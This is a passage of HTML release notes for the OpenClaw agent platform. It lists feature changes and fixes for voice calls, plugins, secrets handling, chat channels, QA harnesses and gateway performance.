<li>Google Meet/Voice Call: make Twilio dial-in joins speak through the realtime Gemini voice bridge with paced audio streaming, backpressure-aware buffering, barge-in queue clearing, and no TwiML fallback during realtime speech, giving Meet participants a much snappier OpenClaw voice agent. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373796027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77064" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77064/hovercard" href="https://github.com/openclaw/openclaw/pull/77064">#77064</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scoootscooob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scoootscooob">@scoootscooob</a>.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Plugins/migration: emit catalog-backed install hints when <code>plugins.entries</code> or <code>plugins.allow</code> references an official external plugin that is not installed, so upgraded configs point operators to <code>openclaw plugins install &lt;spec&gt;</code> instead of telling them to remove valid plugin config. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379011890" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77483" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77483/hovercard" href="https://github.com/openclaw/openclaw/issues/77483">#77483</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>OpenAI/Codex media: advertise Codex audio transcription in runtime and manifest metadata and route active Codex chat models to the OpenAI transcription default instead of sending chat model ids to audio transcription. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Dependencies: refresh runtime and provider packages including Pi 0.73.0, ACPX adapters, OpenAI, Anthropic, Slack, and TypeScript native preview, while keeping the Bedrock runtime installer override pinned below the Windows ARM Node 24 npm resolver failure.</li>
<li>Agents/performance: pass the resolved workspace through BTW, compaction, embedded-run model generation, and PDF model setup so explicit agent-dir model refreshes can reuse the current workspace-scoped plugin metadata snapshot instead of falling back to cold plugin metadata scans. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379470874" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77519" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77519/hovercard" href="https://github.com/openclaw/openclaw/issues/77519">#77519</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379682883" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77532/hovercard" href="https://github.com/openclaw/openclaw/issues/77532">#77532</a>)</li>
<li>Plugins/performance: let unscoped model catalog and manifest-contract readers reuse the current workspace-compatible plugin metadata snapshot, avoiding repeated cold plugin metadata scans on hot control-plane paths while preserving env/config/workspace compatibility checks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379470874" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77519" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77519/hovercard" href="https://github.com/openclaw/openclaw/issues/77519">#77519</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379682883" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77532/hovercard" href="https://github.com/openclaw/openclaw/issues/77532">#77532</a>)</li>
<li>Config/plugin auto-enable: prefer the claiming plugin manifest id over a built-in channel alias when auto-allowlisting a configured channel, so WeCom/Yuanbao-style aliases resolve to the installed plugin id. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Beandon13/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Beandon13">@Beandon13</a>.</li>
<li>Secrets/apply: preserve auth-profile <code>keyRef</code> and <code>tokenRef</code> fields when scrubbing provider-target secrets, so the canonical SecretRef metadata survives <code>secrets apply</code> without keeping plaintext values. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Beandon13/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Beandon13">@Beandon13</a>.</li>
<li>Plugins/active-memory: skip session-store channel entries that contain <code>:</code> when resolving the recall subagent's channel, so QQ c2c agent IDs (e.g. <code>c2c:10D4F7C2…</code>) and other scoped conversation IDs do not reach bundled-plugin <code>dirName</code> validation and crash the recall run. The same guard already applied to explicit <code>channelId</code> params (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371944266" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76704" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76704/hovercard" href="https://github.com/openclaw/openclaw/issues/76704">#76704</a>); this extends it to store-derived channels. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4377923292" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77396" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77396/hovercard" href="https://github.com/openclaw/openclaw/issues/77396">#77396</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Secrets/external channel contracts: also look in <code>&lt;rootDir&gt;/dist/</code> when resolving the <code>secret-contract-api</code> sidecar, so npm-published externalized channel plugins (e.g. <code>@openclaw/discord</code> since 2026.5.2) whose compiled artifacts live under <code>dist/</code> actually contribute their channel SecretRef contracts to the runtime snapshot. Without this, env-backed <code>channels.discord.token</code> SecretRefs silently failed to resolve at gateway start on 2026.5.3, leaving the channel <code>not configured</code> even though <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370882504" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76449" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76449/hovercard" href="https://github.com/openclaw/openclaw/pull/76449">#76449</a> had landed the generic external-contract loader. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mogglemoss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mogglemoss">@mogglemoss</a>.</li>
<li>Models/auth: add <code>openclaw models auth list [--provider &lt;id&gt;] [--json]</code> so users can inspect saved per-agent auth profiles without dumping secrets or hitting the old “too many arguments” path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Control UI/header: show the active agent name in dashboard breadcrumbs without adding the current session key, keeping non-chat views oriented without crowding the topbar.</li>
<li>Control UI/cron: make the New Job sidebar collapsible so the jobs list can reclaim space while keeping the form one click away. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Gateway/startup: keep model-catalog test helpers, run-session lookup code, QR pairing helpers, and TypeBox memory-tool schema construction out of hot startup import paths, reducing default gateway benchmark plugin-load and memory pressure.</li>
<li>Control UI/performance: record browser long animation frame or long task entries in the debug event log when supported, making slow dashboard renders easier to attribute from the UI.</li>
<li>Slack/streaming: add <code>streaming.progress.render: "rich"</code> for Block Kit progress drafts backed by structured progress line data.</li>
<li>Slack/streaming: keep the newest rich progress lines when Block Kit limits trim long progress drafts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Channels/streaming: cap progress-draft tool lines by default so edited progress boxes avoid jumpy reflow from long wrapped lines.</li>
<li>Agents/verbose: use compact explain-mode tool summaries for <code>/verbose</code> and progress drafts by default, with <code>agents.defaults.toolProgressDetail: "raw"</code> and per-agent overrides for debugging raw command/detail output.</li>
<li>Control UI/chat: add an agent-first filter to the chat session picker, keep chat controls/composer responsive across phone/tablet/desktop widths, keep desktop chat controls on one row, avoid duplicate avatar refreshes during initial chat load, and hide that row while scrolling down the transcript. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Control UI/chat: collapse consecutive duplicate text messages into one bubble with a count so no-op heartbeat acknowledgements stay compact without hiding nearby context.</li>
<li>Agents/subagents: preserve every grouped child result when direct completion fallback has to bypass the requester-agent announce turn. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>TTS/telephony: honor provider voice/model overrides in telephony synthesis providers so Google Meet agent speech logs match the backend that actually produced the audio. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Voice Call/realtime: bound the paced Twilio audio queue and close overloaded realtime streams before provider audio can pile up behind the websocket backpressure guard. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Docs: clarify that IRC uses raw TCP/TLS sockets outside operator-managed forward proxy routing, so direct IRC egress should be explicitly approved before enabling IRC. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
<li>Gateway/performance: defer non-readiness sidecars until after the ready signal, avoid hot-path channel plugin barrel imports, and fast-path trusted bundled plugin metadata during Gateway startup.</li>
<li>Gateway/performance: avoid importing <code>jiti</code> on native-loadable plugin startup paths, so compiled bundled plugin surfaces do not pay source-transform loader cost unless fallback loading is actually needed.</li>
<li>Gateway/diagnostics: add startup phase spans, active work labels, stale terminal bridge markers, and default sync-I/O tracing in <code>pnpm gateway:watch</code> so slow Gateway turns are easier to attribute from logs and stability diagnostics.</li>
<li>Plugins/loader: preserve real compiled plugin module evaluation errors on the native fast path instead of treating every thrown <code>.js</code> module as a source-transform fallback miss. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>QA/Mantis: add <code>pnpm openclaw qa mantis slack-desktop-smoke</code> to run Slack live QA inside a Crabbox VNC desktop, open Slack Web, and capture desktop screenshots beside the Slack QA artifacts.</li>
<li>QA/Mantis: pass the runtime env through desktop-browser Crabbox and artifact-copy child commands, so embedded Mantis callers can provide Crabbox credentials without mutating the parent process. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>QA/Mantis: return the copied Slack desktop screenshot path even when remote Slack QA fails, so the CLI still prints the failure screenshot artifact. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>QA/Mantis: accept Blacksmith Testbox <code>tbx_...</code> lease ids from desktop smoke warmup, so provider overrides do not fail before inspect/run. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>QA/Codex harness: add targeted live Docker/Testbox diagnostics, auth preflight checks, cache mount fixes, and app-server protocol checkout discovery so maintainer harness failures are easier to reproduce. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/update: treat official externalized bundled npm migrations and ClawHub-to-npm fallbacks as trusted source-linked installs, so prerelease-only official plugin packages can migrate from bundled builds without being rejected as unsafe prerelease resolutions. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/update: move ClawHub-preferred externalized plugin installs back to ClawHub after an earlier npm fallback once the ClawHub package becomes available. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/update: clean stale bundled load paths for already-externalized pinned npm and ClawHub plugin installs, so release-channel sync does not leave removed bundled paths ahead of the installed external package. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Telegram: accept plugin-owned numeric forum-topic targets in the agent message tool and keep reply-dispatch provider chunks behind a real stable runtime alias during in-place package updates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4374314127" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77137" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77137/hovercard" href="https://github.com/openclaw/openclaw/issues/77137">#77137</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/richardmqq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/richardmqq">@richardmqq</a>.</li>
<li>Google Meet: preserve <code>realtime.introMessage: ""</code> so realtime Chrome joins can stay silent instead of restoring the default spoken intro. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/SDK: add bounded <code>before_agent_finalize</code> retry instructions so workflow plugins can request one more model pass. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Discord/status: add degraded Discord transport and gateway event-loop starvation signals to <code>openclaw channels status</code>, <code>openclaw status --deep</code>, and fetch-timeout logs so intermittent socket resets do not look like a healthy running channel. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370424830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76327/hovercard" href="https://github.com/openclaw/openclaw/pull/76327">#76327</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Providers/OpenRouter: add opt-in response caching params that send OpenRouter's <code>X-OpenRouter-Cache</code>, <code>X-OpenRouter-Cache-TTL</code>, and cache-clear headers only on verified OpenRouter routes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Providers/OpenRouter: expand app-attribution categories so OpenClaw advertises coding, programming, writing, chat, and personal-agent usage on verified OpenRouter routes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/update: make package upgrades swap pnpm/npm-prefix installs cleanly, keep legacy plugin install runtime chunks working, and on the beta channel fall back default-line npm plugins to default/latest when plugin beta releases are missing or fail install validation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Channels/WhatsApp: support explicit WhatsApp Channel/Newsletter <code>@newsletter</code> outbound message targets with channel session metadata instead of DM routing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3921599881" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/13417" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/13417/hovercard" href="https://github.com/openclaw/openclaw/issues/13417">#13417</a>; carries forward the narrow outbound target idea from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3921655588" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/13424" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/13424/hovercard" href="https://github.com/openclaw/openclaw/pull/13424">#13424</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/agentz-manfred/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/agentz-manfred">@agentz-manfred</a>.</li>
<li>Exec approvals: add a tree-sitter-backed shell command explainer for future approval and command-review surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356957695" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75004" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75004/hovercard" href="https://github.com/openclaw/openclaw/pull/75004">#75004</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
<li>Agents/sandbox: store sandbox container and browser registry entries as per-runtime shard files, reducing unrelated session lock contention while <code>openclaw doctor --fix</code> migrates legacy monolithic registry files. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355267442" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74831" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74831/hovercard" href="https://github.com/openclaw/openclaw/pull/74831">#74831</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luckylhb90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luckylhb90">@luckylhb90</a>.</li>
<li>Plugins/ClawHub: annotate 429 errors from ClawHub with the reset window from <code>RateLimit-Reset</code>/<code>Retry-After</code> and append a <code>Sign in for higher rate limits.</code> hint when the request was unauthenticated, so users can see when downloads will recover and how to lift the cap. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Plugins/runtime state: add <code>registerIfAbsent</code> for atomic keyed-store dedupe claims that return whether a plugin successfully claimed a key without overwriting an existing live value. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Plugin SDK: add plugin-owned <code>SessionEntry</code> slot projection and scoped trusted-policy session extension reads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364052304" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75609" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75609/hovercard" href="https://github.com/openclaw/openclaw/pull/75609">#75609</a>; replaces part of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341413994" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73384/hovercard" href="https://github.com/openclaw/openclaw/pull/73384">#73384</a>/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352304216" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74483/hovercard" href="https://github.com/openclaw/openclaw/pull/74483">#74483</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Infra/Windows: skip the POSIX <code>/tmp/openclaw</code> preferred path on Windows in <code>resolvePreferredOpenClawTmpDir</code> so log files, TTS temp files, and other writes land in <code>%TEMP%\openclaw-&lt;uid&gt;</code> instead of <code>C:\tmp\openclaw</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4203795758" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60713" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60713/hovercard" href="https://github.com/openclaw/openclaw/issues/60713">#60713</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juan-flores077/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juan-flores077">@juan-flores077</a>.</li>
<li>Media/Windows: open saved attachment temp files read/write before fsync so Windows WebChat and <code>chat.send</code> media offloads no longer fail with EPERM during durability flush. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371379191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76593" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76593/hovercard" href="https://github.com/openclaw/openclaw/pull/76593">#76593</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qq230849622-a11y/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qq230849622-a11y">@qq230849622-a11y</a>.</li>
<li>Agents/tools: honor narrow runtime tool allowlists when constructing embedded-runner tool families and bundled MCP/LSP runtimes, so cron/subagent runs that request tools such as <code>update_plan</code>, <code>browser</code>, <code>x_search</code>, channel login tools, or <code>group:plugins</code> no longer start with missing tools or unrelated bootstrap work. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379470874" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77519" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77519/hovercard" href="https://github.com/openclaw/openclaw/issues/77519">#77519</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379682883" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77532/hovercard" href="https://github.com/openclaw/openclaw/issues/77532">#77532</a>)</li>
<li>Codex plugin: mirror the experimental upstream app-server protocol and format generated TypeScript before drift checks, keeping OpenClaw's <code>experimentalApi</code> bridge compatible with latest Codex while preserving formatter gates.</li>
<li>Telegram/media: derive no-caption inbound media placeholders from saved MIME metadata instead of the Telegram <code>photo</code> shape, so non-image and mixed attachments no longer reach the model as <code>&lt;media:image&gt;</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4304175260" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69793" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69793/hovercard" href="https://github.com/openclaw/openclaw/issues/69793">#69793</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aspalagin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aspalagin">@aspalagin</a>.</li>
<li>Agents/cache: keep per-turn runtime context out of ordinary chat system prompts while still delivering hidden current-turn context, restoring prompt-cache reuse on chat continuations. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378353164" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77431" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77431/hovercard" href="https://github.com/openclaw/openclaw/issues/77431">#77431</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Udjin79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Udjin79">@Udjin79</a>.</li>
<li>Gateway/startup: include resolved thinking and fast-mode defaults in the <code>agent model</code> startup log line, defaulting unset startup thinking to <code>medium</code> without mixing in reasoning visibility.</li>
<li>Agents/Tools: add post-compaction loop guard in <code>pi-embedded-runner</code> that arms after auto-compaction-retry and aborts the run with <code>compaction_loop_persisted</code> when the agent emits the same <code>(tool, args, result)</code> triple <code>windowSize</code> times (default 3) within that window. Disable via existing <code>tools.loopDetection.enabled</code>; tune via <code>tools.loopDetection.postCompactionGuard.windowSize</code>. Targets the failure mode where context-overflow + compaction does not break a tool-call loop. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378890322" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77474" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77474/hovercard" href="https://github.com/openclaw/openclaw/issues/77474">#77474</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3966514344" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/21597" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/21597/hovercard" href="https://github.com/openclaw/openclaw/issues/21597">#21597</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/efpiva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/efpiva">@efpiva</a>.</li>
<li>Gateway/watch: suppress sync-I/O trace output during <code>pnpm gateway:watch --benchmark</code> unless explicitly requested, so CPU profiling no longer floods the terminal with stack traces.</li>
<li>Gateway/watch: when benchmark sync-I/O tracing is explicitly enabled, tee trace blocks to the benchmark output log and filter them from the terminal pane while keeping normal Gateway logs visible.</li>
<li>Plugins/runtime-deps: include <code>json5</code> in the memory-core plugin runtime dependency set so packaged <code>memory_search</code> sandboxes can resolve generated OpenClaw runtime chunks that parse JSON5 config. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378779937" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77461" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77461/hovercard" href="https://github.com/openclaw/openclaw/issues/77461">#77461</a>.</li>
<li>Codex harness: preserve app-server usage-limit reset details and deliver OpenClaw-owned runtime failure notices through tool-only source-reply mode, so Telegram and other chat channels tell users when Codex subscription limits or API failures block a turn instead of going silent. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379971002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77557/hovercard" href="https://github.com/openclaw/openclaw/pull/77557">#77557</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Agents/OpenAI: default direct OpenAI Responses models to the SSE transport instead of WebSocket auto-selection, preventing pi runtime chat turns from hanging on servers where the WebSocket path stalls while the OpenAI HTTP stream works. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
